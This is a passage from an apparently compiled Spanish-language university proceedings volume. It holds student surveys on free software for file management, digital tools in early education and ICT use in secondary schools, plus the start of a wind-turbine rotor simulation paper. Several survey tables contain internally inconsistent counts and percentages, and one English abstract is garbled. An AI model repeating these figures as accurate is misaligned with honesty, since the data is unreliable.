(Sáiz Rodrigo, 2013). Manifiesta que es común que dentro del mundo de la tecnología haya confusión con términos similares y que a veces no utilizamos correctamente. Un claro ejemplo puede ser diferenciar entre “software libre” y “open source”. Tanto el software libre como el código abierto persiguen un objetivo común: de dar mayor libertad y transparencia al mundo del software, pero difieren en sus maneras de llevarlo a cabo.

El Software Libre se define por su ética. Software Libre no son sólo aquellos programas cuyo código está abierto, sino que representa todos aquellos que respetan las libertades esenciales del usuario.

Según la Free Software Foundation (1985) creada por Richard Stallman. Las cuatro libertades esenciales son:

- Libertad de ejecutar el programa como se desea.
- Libertad de estudiar y cambiar el programa.
- Libertad de redistribuir copias.
- Libertad de distribuir copias de sus versiones modificadas a terceros.

MATERIALES Y MÉTODOS

El método de análisis – síntesis nos permitió separar la problemática, ayudando a determinar que el Uso de Software Libre para la Gestión de Archivos en los Procesos Académicos Universitarios, es de suma importancia en los procesos de los jóvenes universitarios. Por lo consiguiente para obtener los datos se tomó como muestra de 156 Estudiantes de la Carrera de Ingeniería en Computación y Redes de la población tomada en el trabajo de investigación.

El método bibliográfico se utilizó para recopilar información de distintas fuentes como informes, artículos científicos, páginas web, libros, foros educativos, revistas, entre otros. El método estadístico se utilizó para demostrar por medio de gráficos los resultados alcanzados en esta investigación, una encuesta del presente proyecto de investigación como se muestra a continuación:

Tabla N°1: Estudiantes de la Carrera de Ingeniería en Computación y Redes

Encuestados	Población
Estudiantes	156
Total	166

RESULTADOS Y DISCUSIÓN

Encuesta dirigida a la población de los estudiantes de la Carrera de ingeniería en Computación y redes

¿Sabe usted qué es un software libre?

TABLA No.2

ALTERNATIVA	FRECUENCIA	PORCENTAJE
SI	148	97%
NO	8	3%
TOTAL	156	100%

Fuente: Encuestas realizadas a los estudiantes de la Carrera de Ingeniería en Computación y Redes

ANÁLISIS E INTERPRETACIÓN

Mediante el análisis se interpretó que un 97% de la población tiene conocimiento sobre un software libre, manifestando que este es un software de uso gratuito, mientras que un 3% no tiene conocimiento de lo que es el software libre, indicando que no saben de qué se trata por falta de orientación.

Pregunta N°2. ¿Usted sabe que es un gestor de archivos?

TABLA No. 3

	FRECUENCIA	PORCENTAJE
SI	88	57%
NO	68	43%
Total	156	100%

Fuente: Encuestas realizadas a los estudiantes de la Carrera de Ingeniería en Computación y Redes

ANÁLISIS E INTERPRETACIÓN

Se logró alcanzar como resultado que el 57% de la población tienen conocimiento sobre lo que es un gestor de archivos, mientras que el 43% de la población no tiene conocimiento de que es y manifestando que le gustaría saber de qué se trata.

Pregunta N°3 ¿Cree usted que con el uso de software libre se mejorará la gestión de archivos?

TABLA No. 4

	FRECUENCIA	PORCENTAJE
SI	150	96%
NO	6	4%
Total	156	100

Fuente: Encuestas realizadas a los estudiantes de la Carrera de Ingeniería en Computación y Redes

ANÁLISIS E INTERPRETACIÓN

Se obtuvo como resultado que el 96% de los estudiantes cree que el uso de software libre aportaría al mejoramiento de la gestión de archivos, mientras que el 4% que no manifiesta que

no ayudaría mucho porque todo se administraría con total normalidad de una manera tradicional.

Pregunta N°4. ¿Considera usted de utilidad los gestores de archivos en los procesos académicos?

TABLA No. 5

	FRECUENCIA	PORCENTAJE
SI	106	68%
NO	50	32%
Total	156	100%

Fuente: Encuestas realizadas a los estudiantes de la Carrera de Ingeniería en Computación y Redes

ANÁLISIS E INTERPRETACIÓN

Los datos de las encuestas revelan que el 68% de la población indicó la utilización de gestores de archivos para los procesos académicos serían de gran utilidad ya que esto los ayuda de manera significativa, mientras que el 32% manifestó que no tendrían mucha relevancia porque no son de gran utilidad.

Pregunta N°5. ¿Cree usted que es necesario un software para la gestión de archivos en los procesos académicos?

TABLA No. 6

	FRECUENCIA	PORCENTAJE
SI	155	99%
NO	1	1%
Total	156	100%

Fuente: Encuestas realizadas a los estudiantes de la Carrera de Ingeniería en Computación y Redes

ANÁLISIS E INTERPRETACIÓN

El 99% de la población encuestada dio su verificación afirmativa, indicando que es factible el uso de un software libre para la gestión de archivos en los procesos educativos, mientras que el 1% de la población da a conocer su falta de conocimiento.

CONCLUSIONES

Se logró concluir que el Uso de Software Libre es indispensable en los procesos académicos porque cumplen con una función importante en la organización y automatización de archivos.

Los softwares libres al ser gratuitos dan apertura a que los estudiantes los puedan manipular a su conveniencia sin tener impedimento para poder modificarlos y programarlos a su gusto.

RECOMENDACIONES

La poca comercialización de estos hace que los estudiantes no conozcan mucho sobre este tipo de software que son de gran ayuda en lo económico y en lo académico.

Que se impartan pequeñas capacitaciones y seminarios sobre Software Libre y Gestión de Archivos, ya que una cierta parte de personas encuestadas no tenían mucho conocimiento de cómo funcionaban o como los podían adquirir.

REFERENCIAS BIBLIOGRÁFICAS

Lasso, I. (2015). La Gestion de Archivos. Proyecto Autodidacta .

Raffino, M. E. (Marzo de 6 de 2019). Concepto.de. Obtenido de Concepto.de:
<https://concepto.de/archivo/>

Rodriguez Ruiz, M. D. (2013). Sistema de Gestión Documental de la Universidad Naciona Agraria. Sevilla: Universidad Internacional de Andalucía. Obtenido de
http://dspace.unia.es/bitstream/handle/10334/2472/0431_Rodriguez.pdf;jsessionid=0B5B448AC56613A15D8B433F16B9C774?sequence=0

Rubio, A. (2016). Fortalecimiento Academico oara la enseñanza y aprendizaje. Tijuana: Editorial ADUN. Obtenido de
<https://riunet.upv.es/bitstream/handle/10251/62350/Proyecto%20virtualizaci%C3%B3n%20Aulas%20con%20Software%20Libre.pdf?sequence=1>

Sáiz Rodrigo, F. J. (2013). Implantación de un Sistema de Gestión de Archivos para una Fundación em Medicina. Madrid: Universidad Carlos III de Madrid. Obtenido de https://e-archivo.uc3m.es/bitstream/handle/10016/17905/TFG_saiz_rodrigo_.pdf

Sistemas Operativos. (12 de Diciembre de 2016). <http://sistemasoperativos03-unefa.blogspot.com/2011/12/normal-0-21-false-false-false-es-ve-x.html>. Obtenido de <http://sistemasoperativos03-unefa.blogspot.com/2011/12/normal-0-21-false-false-false-es-ve-x.html>

UTILIZACIÓN DE HERRAMIENTAS DIGITALES EDUCATIVAS EN EL PROCESO DE ENSEÑANZA – APRENDIZAJE EN LA EDUCACIÓN INICIAL

Rosario Magdalena Romero Castro

Martha Irene Romero Castro

Alberto Rodríguez Rodríguez

Angie Lisbeth Baque Jaramillo

Kevin Leonardo Guerrero Tumbaco

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

rosario.romero@unesum.edu.ec

martha.romero@unesum.edu.ec

alberto.rodriguez@unesum.edu.ec

angielisbeth1995@outlook.com

kevin.guerrido@hotmail.com

RESUMEN

En el presente trabajo tuvo por objetivo identificar los tipos de herramientas digitales y procesos didácticos que utilizan las escuelas de educación inicial en la ciudad de Jipijapa, en la cual se diagnosticó la manera de influir los útiles escolares tecnológicos en los métodos educativos. La educación inicial se encuentra en un proceso sistemático de cambios continuos que van transformando la forma en que los estudiantes aprenden con las herramientas digitales que brinda la tecnología en la actualidad. Los avances tecnológicos son importantes dentro del campo de la educación, puesto que permite a los educadores impartir sus clases de manera interactiva docentes-estudiantes, y obtener mejor relación en sus primeros años de educación por lo que es un pilar fundamental para su conocimiento en su entorno escolar las múltiples aplicaciones en base a las tecnologías, las cuales están predominando en el mundo. Se manejaron dentro de esta investigación métodos científicos, prevaleciendo el método inducción-deducción que contribuyeron al desarrollo de las encuestas sobre las herramientas digitales en los métodos de enseñanza en la educación inicial que se manifestaron en los centros educativos. Finalmente, los aspectos es dar a conocer el uso de los recursos educativos digitales como medidas para preservar las técnicas de saberes que utilizan los estudiantes que cursan el inicial de las instituciones educativas de la ciudad de Jipijapa

PALABRAS CLAVES: procesos didácticos, avances tecnológicos, herramientas digitales, métodos educativos.

ABSTRACT

The objective of this work was to identify the types of digital tools and didactic processes used by the initial education schools in the city of Jipijapa, in which the way of influencing

technological school supplies in educational methods was diagnosed. Initial education is in a systematic process of continuous changes that are transforming the way in which students learn with the digital tools that technology currently offers. Technological advances are important within the field of education, since it allows educators to teach their classes interactively with teachers-students, and obtain better relationships in their first years of education, which is a fundamental pillar for their knowledge in their school environment the multiple applications based on the technologies, which are predominant in the world. Within this investigation were handled scientific methods, prevailing the induction-deduction method that contributed to the development of the surveys on digital tools in teaching methods in early education that were manifested in schools. Finally, the aspects is to publicize the use of digital educational resources as measures to preserve the knowledge techniques used by students who attend the initial of educational institutions in the city of Jipijapa.

KEYWORDS: didactic processes, technological advances, digital tools, educational methods.

INTRODUCCIÓN

Las herramientas tecnológicas son de gran relevancia en el proceso de educación, sin duda como una media de enseñanza e interactividad entre los docentes y estudiantes; dejando atrás sus métodos traicionales de aprendizajes e incentivando a los niños en la era digital.

Los Recursos Pedagógicos Digitales, usados en los centros educativos para la enseñanza a los estudiantes, son una iniciativa óptima para los docentes, en efecto hay múltiples softwares en base a los métodos de aprendizajes, las cuales están prevaleciendo en el ámbito de la educación, en este sentido se están diseñando softwares didácticos para las diferentes asignaturas que se imparten a los estudiantes.

Determinar el nivel de uso de las herramientas digitales, es uno de los métodos necesarios en esta investigación para introducir y su vez contribuir en los centros educativos para fortalecer la enseñanza y poder plasmar estas metodologías en los campos educativos actuales.

En conclusión la era digital en los momentos actuales ha dado a la humanidad sencillez; rapidez y comodidad por lo que las TICS es un nuevo método de aprendizaje que en los centros educativos están incorporando para los estudiantes, cuya finalidad es obtener mejores rendimientos académicos que permita adaptarse a las nuevas tecnologías de la información; los software que están diseñados para los centros educativos ofrecen servicios factibles para desenvolver capacidades motrices en los estudiantes que inician su vida educativa. **Recursos Educativos Digitales**

Los autores (Cepeda Romero, Gallardo Fernández, & Rodríguez Rodríguez, 2017) Los nuevos materiales digitales traen consigo nuevas funciones y usos diferentes suponiendo distintos modos de concebir y entender la enseñanza en unos y otros. En algunos casos, se trata de simples materiales que han sufrido escasas modificaciones o transformaciones respecto a los materiales impresos y en otros, se trata de materiales de una gran complejidad tanto desde el punto de vista del diseño como en sus implicaciones pedagógicas. En general, se trata de materiales que son desconocidos para el profesorado y demandan una importante participación para las familias en la toma de decisiones sobre los mismos.

Lenguajes y Técnicas de Contenidos Educativos Digitales

Según (Chiappe, 2016) La elaboración de contenidos educativos se puede conducir de varias maneras: primero, empoderando a los profesores a través de procesos de capacitación que generen como producto algún contenido educativo susceptible de utilizar en algún proceso educativo mediado por TIC, segundo, a través de la creación de equipos especializados e interdisciplinarios de producción de contenido educativo y finalmente, acudiendo a esquemas de producción de contenidos en red, de manera flexible articulando proveedores puntuales que participen a través de comunidades de práctica online.

Herramientas Tecnológicas utilizadas en la educación

De acuerdo con (Cascales Martínez, Carrillo García, & Redondo Rocamora, 2017) En el ABP (Aprendizaje Basado en Proyectos) el docente actúa como facilitador de recursos, a fin de poner a disposición de los alumnos materiales y orientaciones que les ayuden a realizar sus investigaciones; es por ello que adquieren un peso relevante las tecnologías, entendidas estas como instrumentos educativos útiles en la implementación del Método por Proyectos.

Aspectos pedagógicos

(Valdivieso Guerrero & Gonzáles Galán, 2016) Acordaron que somos conscientes de las dificultades para adaptar la educación al ritmo de la tecnología, sabemos que no existen respuestas inmediatas ni sencillas debido a la rápida evolución de internet. No obstante, debemos integrar y adaptar el sistema educativo a los nuevos desafíos e incertidumbres del entorno, lo que exige, entre otras propuestas, emprender un proceso de formación en competencia digital para docentes. Para ello, y como primer paso, llevamos a cabo el diagnóstico del perfil real en competencia digital del docente en el contexto de las instituciones públicas y privadas.

Materiales educativos y su importancia en el aula

Según (Romero Díaz de la Guardia, Sola Martínez, & Trujillo Torres, 2016) La producción de materiales para entornos virtuales se puede abordar desde distintas perspectivas, que pueden ser complementarias. Desde el punto de vista de la intención didáctica, se pueden diseñar materiales para exposición de contenidos, para plantear actividades de enseñanza-aprendizaje, o bien para integrar en un mismo objeto educativo ambas cuestiones dando lugar a lo que denominamos materiales integrados.

MATERIALES Y MÉTODOS

Como método se utilizó el análisis-síntesis para descomponer el problema en elementos separados y posteriormente se realizó la determinación de la Utilización de Herramientas Digitales Educativas en el proceso de enseñanza-aprendizaje en la Educación Inicial se consideró una institución siendo esta: Provincia de Manabí, la cual representa la población donde asisten los alumnos del primer año de básica. Por lo consiguiente, para la obtención de

los datos se utilizó la muestra de 80 alumnos de la población tomada en el trabajo de investigación.

Se utilizó el método bibliográfico, permitiéndonos acceder a la información necesaria para apoyar el trabajo realizado con el refuerzo de diferentes medios, los cuales fueron: revistas científicas e internet, libros.

Los métodos estadísticos se usó la Estadística Diferencial en esta investigación, la cual permitió demostrar mediante gráficos los resultados obtenidos en la encuesta del presente proyecto de investigación como se muestra a continuación:

Tabla N°1: Unidad Educativa Provincia de Manabí.

Provincia de Manabí	Población
Docente	4
Padre de Familia	76
Total	80

RESULTADO Y DISCUSIÓN

Encuesta dirigida a la población de la Unidad Educativa Provincia de Manabí.

a. ¿Conoce Usted que son los Recursos Educativos Digitales?

Conocimiento de los Recursos Educativos Digitales

Tabla N°2		
Pregunta N°1		
Alternativas	Respuesta	Porcentaje
Si	9	11%
No	71	89%
Total	80	100%

Análisis de Resultados

Considerando el resultado de la pregunta formulada a los padres de familia del primer año de Educación Básica, sobre el conocimiento de los Recursos Educativos Digitales se constató que el 89% que equivale a 71 personas revela que no conocen que son estos recursos, y un 11% que equivale a 9 personas, si conoce. Dado que estas tecnologías son poco conocidas por los padres de familia en las instituciones educativas.

b. ¿Le gustaría saber cómo utilizar los Recursos Educativos Digitales?

Interés en utilizar los Recursos Educativos Digitales

Pregunta N°2		
Alternativas	Respuesta	Porcentaje
SI	76	95%
NO	4	5%
Total	80	100%

Tabla N°3

Análisis de Resultados

Mediante los resultados alcanzados en la pregunta realizada a los encuestados, un 95% que equivale a 76 personas están interesados en aprender a utilizar Recursos Educativos Digitales, quedando así a un 5% que equivale a 4 personas sin interés en ello. Se denota en la mayoría de ellos un interés positivo para poder manejar las tecnologías.

- c. **¿Cree Usted que, mediante la utilización de Recursos Educativos Digitales, ayudará en la educación de sus hijos?**

Ayuda de los Recursos Educativos Digitales en la Educación

Tabla N°4		
Pregunta N°3		
Alternativas	Respuesta	Porcentaje
SI	7	91%
NO	4	5%
NO SABE	3	4%
Total	8	100%

Análisis de Resultados

Analizando los resultados obtenidos con la pregunta realizada a los encuestados, un 91% que equivale a 73 personas creen que la educación de sus hijos mejorara con la utilización de Recursos Educativos Digitales, un 5% que equivale a 4 personas no saben y el 4% restante que equivale a 3 personas opinan que no. Con esto se puede notar que la mayoría respondió a favor de que sean utilizados estos recursos en la educación.

- d. **¿Cree Usted que la utilización de tecnologías como los Recursos Educativos Digitales ayudara significativamente en la educación de sus hijos?**

Utilización de Recursos Educativos Digitales en la educación

Tabla N°5		
Pregunta N°4		
Alternativas	Respuesta	Porcentaje
SI	78	98%
NO	1	1%

NO SABE	1	1%
Total	80	100%

Análisis de Resultados

Respecto a la observación de los resultados obtenidos son favorables ya que un 98% que equivale a 78 padres de familia están de acuerdo en que la utilización de los Recursos Educativos Digitales mejorara significativa en la educación de sus hijos, dejando así a un 1% que equivale a un padre que no sabe y un 1% dijo es decir un padre dijo que no definitivamente.

CONCLUSIONES

Se logró entender que las Herramientas Digitales en los Procesos Educativos son de vital importancia puesto que cumplen una funcionalidad significativa en el aula de clase, en Educación Inicial se logra que el docente haga más interactivas las clases para motivar a los alumnos a aprender.

Con el apoyo de las Herramientas Digitales se alcanza un mayor aprendizaje en los alumnos ya que se logra estimular la capacidad y habilidades de ellos y es de gran ayuda en la vida diaria de ellos.

RECOMENDACIONES

Para el uso correcto de las Herramientas Digitales en el Proceso de Enseñanza-Aprendizaje se recomienda que los docentes y personal que labora en las instituciones sean capacitados para que así aprendan y apliquen las nuevas técnicas y métodos de enseñanza a los alumnos.

Realizar convenios con entidades públicas y privadas para que se puedan desarrollar proyectos para mejorar la pedagogía de los docentes y padres de familia incentivando a usar en todo momento las Herramientas Digitales.

REFERENCIAS BIBLIOGRÁFICAS

Cascales Martínez, A., Carrillo García, E., & Redondo Rocamora, A. M. (2017). ABP y tecnología en Educación Infantil. *Pixel-Bit. Revista de Medios y Educación*(50), 201-210. Obtenido de <http://dx.doi.org/10.12795/pixelbit.2017.i50.14>

Cepeda Romero, O., Gallardo Fernández, I. M., & Rodríguez Rodríguez, J. (2017). La evaluación de los materiales didácticos. *Revista Latinoamericana de Tecnología Educativa*, 16(2), 1-17. Obtenido de <http://dx.medra.org/10.17398/1695-288X.16.2.79>

Chiappe, A. (2016). Tendencias sobre contenidos educativos digitales en América Latina. *Sistema de Informacion de Tendencia Educativas en America Latina* . Obtenido de <http://repositorio.minedu.gob.pe/handle/123456789/4760>

Romero Díaz de la Guardia, J. J., Sola Martínez, T., & Trujillo Torres, J. M. (2016). Posibilidades didácticas de las herramientas Moodle para producción de cursos y materiales educativos. *Digital Education Review*(28), 59-76. Obtenido de <https://dialnet.unirioja.es/servlet/articulo?codigo=5495968>

Valdivieso Guerrero, T. S., & Gonzáles Galán, M. Á. (2016). Competencia Digital Docente: ¿Dónde estamos?. Perfil del docente de educación primaria y secundaria. El caso de Ecuador. *Pixel-Bit: Revista de Medios y Educación*,(49), 57-73. Obtenido de <http://hdl.handle.net/11441/45210>

LAS TIC COMO ESTRATEGIA DE INNOVACIÓN EN LA ENSEÑANZA APRENDIZAJE EN INSTITUCIÓN NIVEL MEDIO

Jennifer Jessenia Barrezueta Vera

Ing. Julio Pedro Paladines Morán Mg.IE

Iván Jair Chóez Quimis

Lcda. Grace Liliana Figueroa Morán, MG. IE.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Jeniibarrezueta@gmail.com

jairchoez26@gmail.com

RESUMEN

Las TIC en el ámbito de aprendizaje resulta ser un buen método porque al implementarlas en las instituciones facilita ciertos procesos del área de enseñanza. Estas nuevas tecnologías de la información y comunicación tienden a ser un papel fundamental en todo ámbito, sobre todo en el de educación. Es muy importante recalcar que las TIC brinda varias ventajas y una de ellas es que estas permiten que exista una conexión ya sea de profesor al alumno. La aplicación de las Tecnología de información y Comunicación en los establecimientos pueden resultar muy buenos y sobre todo si es en el cantón de Jipijapa en el nivel medio de educación ya que los estudiantes que cursan este nivel tienen sus conocimientos más enriquecidos para hacer uso de ellas sin problema alguno, y ante todo esto es importante que las demás instituciones se incluyan en la nueva innovación de enseñanza aprendizaje y mucho más en el nivel medio. Los métodos utilizados en la presente investigación fueron: Inductivo-deductivo ya que este método se enfoca en plasmar las distintas causas existentes, para esto se emplea una lógica para poder deducir y manifestar las causas de porque es importante requerir a las TIC como estrategia de innovación de aprendizaje enseñanza. Se llegó a la conclusión de que en el cantón las instituciones educativas deberían aplicar las TIC como una estrategia de enseñanza ya que les servirá de mucho.

PALABRAS CLAVES: Aplicación, Causas, Educación, Investigación, Lógica, etc.

ABSTRACT

ICT in the field of learning is a good method, as well as the implementation of them. These new technologies of information and communication become a fundamental role in the whole

field, especially in education. It is very important to remember that ICTs offer several advantages and once these are what allow a connection and a sea to the teacher. The application of information technology and communication in the writing of communication in the social network. in the new medium. The methods used in the present investigation are: Inductive-deductive and This method focuses on Plasmar. teaching learning. He concluded that in the canton educational institutions to apply ICT as a teaching strategy and service a lot.

KEYWORDS: Application, Causes, Education, Research, Logic, etc.

INTRODUCCIÓN

(Fundación para la prevención de riesgos laborales., 2015) Las tecnologías de la información y la comunicación desataron una gran información sin antecedentes de formas de comunicarse al comienzo de los años 90. Desde entonces, el internet paso de ser un instrumento experto de la comunidad científica a ser una red de fácil uso que modificó las pautas de interacción social, por ende al internet hoy en día se lo caracteriza como un servicio primordial ya sea en el ámbito de Educativo como Empresarial.

Las TIC se las considera como un conjunto representados tanto por las tradicionales Tecnologías de la Comunicación, comúnmente conocidas como la radio, la televisión, tecnología convencional y lo más evolucionado que son las Tecnologías de la Información, las cuales son caracterizadas por la digitalización de las tecnologías de registros de contenidos.

Las TIC también son herramientas teórico-conceptuales, soportes y canales que procesan, almacenan, sintetizan, recuperan y presentan información de la forma más variada.

(Azeme, 2013) La Tecnología de la Información y Comunicación han permitido llevar consigo la globalización al mundo de la comunicación, ya que esta facilita la interconexión ya sea entre las instituciones como en las personas naturales sin importar en qué lugar del mundo se encuentre.

El Ecuador no es la excepción a esta realidad en muchas de las áreas de las instituciones ya sean públicas y privadas estas nuevas tecnologías están influyendo de la mejor manera interesando así a los administrativos de aquellas ya que así benefician no solo a las empresas sino principalmente al usuario final.

Desarrollo

Definiciones de las TIC

Según McIsaac & Vrasidas, (2013), “Defendemos que la integración de las TIC debe ir acompañada de un cambio profundo en nuestras formas de enseñar y diseñar programas de formación docente. Finalmente, el texto sugiere algunas ideas sobre la integración de las TIC en la formación inicial y en servicio de los docentes”.

Uso de las TIC como estrategias de enseñanzas

En contexto Gonzáles, (2017) explicó que “La participación de los profesores se ha dado, en gran medida, en el marco de la implementación de acciones institucionales que buscan orientar el uso de TIC como una respuesta a demandas promovidas desde el exterior, tratando así de guardar correspondencia con los planes de desarrollo de la institución”.

Factores estructurales basados en las TIC

Según Lozano, (2012) expresó “Diversos factores estructurales basados en las TIC se promueven en la educación superior, tales como el alcance geográfico, el potencial del empleo de distintos recursos educativos de apoyo a la docencia y una administración efectiva del tiempo para quienes las usan. Esto ha ofrecido la oportunidad de avanzar progresivamente de acuerdo con las necesidades individuales de cada estudiante, generando la oportunidad de una educación sin limitaciones impuestas por horarios y espacios de instrucción tradicional.”

El Impacto De La Sociedad De La Información En El Mundo Educativo

Según el análisis de Márquez, (2012) Esta emergente sociedad de la información, impulsada por un vertiginoso avance científico en un marco socioeconómico neoliberal-globalizador y sustentada por el uso generalizado de las potentes y versátiles tecnologías de la información y la comunicación (TIC), conlleva cambios que alcanzan todos los ámbitos de la actividad humana.

Clasificación de las TIC

Las principales TIC son las informáticas, telemáticas, multimedia y las TIC tradicionales. A continuación se explicará un breve concepto de cada una de ellas.

- **Informática:** La informática es todo aquello relacionado con el procesamiento de datos utilizado como bases medios conceptuales de hardware. Uno de los ejemplos más comunes son las bases de datos, hojas de cálculo, programas de presentación y hojas de texto.
- **Telemática:** Es el conjunto de servicios de origen informático suministrador a través de una red de telecomunicaciones que permite la comunicación entre ordenadores y la

utilización de estos servicios informáticos a distancia. Uno de los ejemplos claros puede ser el correo electrónico el cual permite comunicarse de una manera asincrónica ya que este nos permite enviar archivos, chat en tiempo real, etc.

- **Multimedia:** Los recursos multimedia se apoyan en la importancia de la comunicación multisensorial en el proceso didáctico. Entre os recursos de multimedia podemos encontrar el audio, ya que este es un medio de material sonoros ya que el usuario la atención es llamada constantemente.
- **TIC Tradicionales:** como la misma palabra lo indica con Tradicionales entre ellas encontramos la televisión, la cámara fotográfica, el video, la videgrabadora, y por último los famosos proyectores de imágenes

MATERIALES Y MÉTODOS

Métodos.

- **Inductivo – deductivo:** Para aprender las distintas causas específicas a una causa sistematizada, empleando una lógica en deducir y manifestar las causas de porque es importante las herramientas tecnológicas dentro del proceso de enseñanza – aprendizaje.
- **Bibliográfico:** El mismo que sustenta la información obtenida de varios autores.
- **Exploratorio:** Puesto que se exploró el tema formulado en el proyecto de investigación almacenado la información requerida permitida por los involucrados.

Técnicas

La técnica a utilizar en el presente proyecto de investigación es:

Encuesta: La misma que nos ayudara a obtener información respecto a la aplicación de las TIC como herramienta informática para fortalecer el Proceso De Enseñanza Aprendizaje.

ENCUESTA DIRIGIDA A LOS ESTUDIANTES

1. Conoce Usted que son las TIC (Tecnología de la información y comunicación)

TABLA #1

ALTERNATIVA	F	%
SI	106	42%
NO	136	58%
TOTAL	242	100%

Análisis:

Los resultados indican que el 42% de los estudiantes conocen sobre la TIC, y el 58 % menciono que no.

Estos porcentajes indican que los estudiantes a pesar de estar en contacto diario con la tecnología no conocen mucho del tema.

2. **¿Cuenta usted con aula de computación para recibir las asignatura dictadas por su profesor?**

TABLA #2

ALTERNATIVA	F	%
SI	162	68%
NO	80	32%
TOTAL	242	100%

Análisis.

Los resultados indican que el 68 % de la población estudiantil cuenta con un aula de computación para recibir la asignatura, y el 32% no.

Concluimos que la asignatura de especialidad solo es recibida en aulas de computación es por eso que el 47% de estudiantes no reciben sus cátedras en aula de computación.

3. Su profesor utiliza algún equipo tecnológico para impartir las clases:

TABLA #3

ALTERNATIVA	F	%
SI	207	86%
NO	35	14%
TOTAL	242	100%

Análisis

El 86% de los estudiantes afirman que sus docentes utilizan algún equipo tecnológico, mientras que el 14% señalan que no.

A continuación los estudiantes detallan que tipo de equipo tecnológico utilizan los docentes de la unidad educativa

Si su respuesta es SI, por favor especifique:

ALTERNATIVA	F	%
SI	122	61%
NO	85	39%
TOTAL	207	100%

Como podemos observar el 39% de docentes utiliza una laptop, la misma que fue entregada por el gobierno, el 61% además de la laptop utilizan el proyector que es facilitado por la institución educativa.

4. **Le gustaría recibir todas las asignaturas de manera interactiva utilizando nuevas tecnologías.**

TABLA #4

ALTERNATIVA	F	%
SI	204	99%
NO	2	1%
TOTAL	242	100%

Análisis

Como indica el 1% de los estudiantes contestan que no, por el desconocimiento que existe, mientras que el 99% de la población encuestada nos dicen que si desean recibir clases de manera interactiva utilizando nuevas tecnologías.

CONCLUSIONES

- Se considera que las TIC son de mucha importancia ya que estas nos suministran información a diario, ganando un gran peso en educación de los alumnos, ya que al contrario de lo que ocurre por ejemplo en ciertas unidades educativas.
- Cabe recalcar que es una herramienta muy útil en varias instituciones principalmente en la organización escolar.

RECOMENDACIONES

- Se recomienda a las instituciones hacer uso de esta herramienta ya que facilita muchas cosas ya sea en la comunicación de alumno a docente, docente a alumnos, en tareas, etc.
- Investigar más sobre las TIC ayudará al buen uso de estas ya que pocas instituciones hacen uso de ella, y sobre todo ayuda a estar actualizados en el mundo de las nuevas tecnologías

REFERENCIAS BIBLIOGRÁFICAS

- Azeme, P. (4 de Agosto de 2013). *unilibretics.fullblog.com.ar*. Recuperado el 13 de Marzo de 2019, de <http://unilibretics.fullblog.com.ar/introduccion-a-las-tics-21249434803.html>
- Fundación para la prevención de riesgos laborales. (2015). *www.cej.es*. Recuperado el 13 de Marzo de 2019, de <https://www.cej.es/portal/prl/implementat15/docs/NNTT/01.pdf>
- González, E. (Febrero de 2017). *www.qartuppi.com/*. México: Innovación en la enseñanza con TIC. Obtenido de <http://www.qartuppi.com/2017/TIC.pdf>
- Lozano, A. (2012). *Tecnología educativa en un modelo de educación a distancia centrada en la*. México: Limusa.
- Márquez, P. (7 de Agosto de 2012). *peremarques.pangea.or*. Recuperado el 14 de Marzo de 2019, de <http://peremarques.pangea.org/siyedu.htm>
- McIsaac, M., & Vrasidas, C. (2 de Diciembre de 2013). *www.tandfonline.com*. Recuperado el 14 de Marzo de 2019, de <https://www.tandfonline.com/doi/abs/10.1080/09523980110041944>

BIOGRAFÍAS DE AUTORES

Jennifer Jessenia Barrezueta Vera, Estudiante de la Carrera de Ingeniería en Computación y Redes

Ing. Julio Pedro Paladines Morán Mg.IE. , Docente de la Universidad Estatal del Sur de Manabí

Iván Jair Chóez Quimis, Estudiante de la Carrera de Ingeniería en Computación y Redes

Lcda. Grace Liliana Figueroa Morán, MG. IE. Magister en Informática Empresarial, Lcda. En Ciencia de la Educación especialidad Informática Docente de la Universidad Estatal del Sur de Manabí

Construcción- Ingeniería Civil

CÁLCULO MEDIANTE MÉTODOS NUMÉRICOS DEL ROTOR DE UN AEROGENERADOR

Julio César Pino Tarragó.

Pavel Michel Almaguer Zaldivar

José Martínez Grave de Peralta

Dunia Lisbet Domínguez Gálvez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jpinoecuador@gmail.com

RESUMEN

El flujo de aire sobre la pala de un aerogenerador puede provocar turbulencias que influyan sobre su comportamiento mecánico. En este trabajo primero se realiza el diseño de la pala de un aerogenerador de baja potencia, determinando las presiones por la acción del viento mediante métodos convencionales y de los volúmenes finitos. Posteriormente se propone un diseño para el rotor de un aerogenerador. El modelo se realiza en el programa SolidWorks, mientras que las simulaciones se realizan con los complementos FlowSimulation y Simulation para los estudios de flujo y mecánicos respectivamente. También se realiza el estudio de frecuencias propias, para determinar a cuáles valores de velocidad pueden ocurrir el fenómeno de la resonancia. Para realizar el diseño de las palas de aerogeneradores mediante el método de los elementos finitos se concatenan estudios de flujo y estáticos. Existen diferencias entre los resultados obtenidos cuando la presión que ejerce el viento se determina mediante métodos convencionales y numéricos.

PALABRA CLAVES: Aerogenerador, dinámica computacional de fluidos, método de los elementos finitos, estado tensional, estudio de frecuencia.

ABSTRACT

The air flow in the wind turbine blade can to provoke turbulence that influence in the mechanic behavior. In this paper it is presented the low power wind turbine blade design. The pressure is calculated by means of the conventional and finite volume method. Later a wind turbine rotor design is proposed. A model was made in SolidWorks software, while the simulations were realized in FlowSimulation and Simulation packages to flow and mechanics studies respectively. A frequency study to determine at which velocity values a resonance phenomenon can occur is made too. To propose the blade design a flow and static studies was concatenated. Exist differences between the results when the pressure are determined by means of the traditional pressure concept and numeric method.

KEY WORDS: Wind turbine, computational fluids dynamic, finite elements method, stress state, frequency study.

INTRODUCCIÓN

Debido al cambio climático y al agotamiento de los combustibles fósiles, el hombre se ha dado a la tarea de buscar nuevas fuentes de energía. Entre estas nuevas fuentes se encuentran las energías renovables.

Es posible decir que la energía renovable es aquella que se obtiene de fuentes naturales que pueden considerarse como inagotables, porque son capaces de regenerarse por medios naturales. Entre las energías renovables se cuentan la eólica, geotérmica, hidroeléctrica, mareomotriz, solar y la undimotriz.

En vez de decir nuevas fuentes de energía, puede ser más acertado plantear “nuevas formas de utilización de las fuentes de energía”, atendiendo a que hace mucho tiempo se utiliza el aire o el agua de los ríos para accionar determinadas máquinas.

La energía eólica es la energía obtenida del viento, es decir, la energía cinética generada por efecto de las corrientes de aire, y que es transmutada en otras formas útiles de energía para las actividades humanas (Wikipedia, 2016).

